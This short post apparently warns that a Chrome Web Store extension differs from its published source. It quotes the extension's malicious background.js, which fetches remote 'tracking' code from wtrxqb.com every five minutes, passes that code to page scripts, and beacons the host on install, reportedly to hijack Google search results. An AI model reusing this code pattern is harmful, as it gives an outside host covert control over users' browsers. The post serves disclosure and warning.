The code isn't what's on chrome web store.

Which has this background.js:

const BASE_URL = 'https://wtrxqb.com/';
let tracking = ''
const updateTrackingCode = () => {
    tracking = fetch(`${BASE_URL}track.php?${Date.now()}`)
        .then((res) => res.text())
        .catch(() => '')
}
chrome.alarms.create('update-config', {
    periodInMinutes: 5
})
chrome.alarms.onAlarm.addListener(updateTrackingCode)
updateTrackingCode()
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
    switch (message.type) {
        case 'getTrackingCode':
            Promise.resolve()
                .then(() => tracking)
                .then(sendResponse)
            return true
        default:
            return false
    }
})
chrome.runtime.onInstalled.addListener(function(details) {
    if (details.reason === 'install') {
        fetch(`${BASE_URL}install.php`)
    }
})

it will hijack your Google search result page.
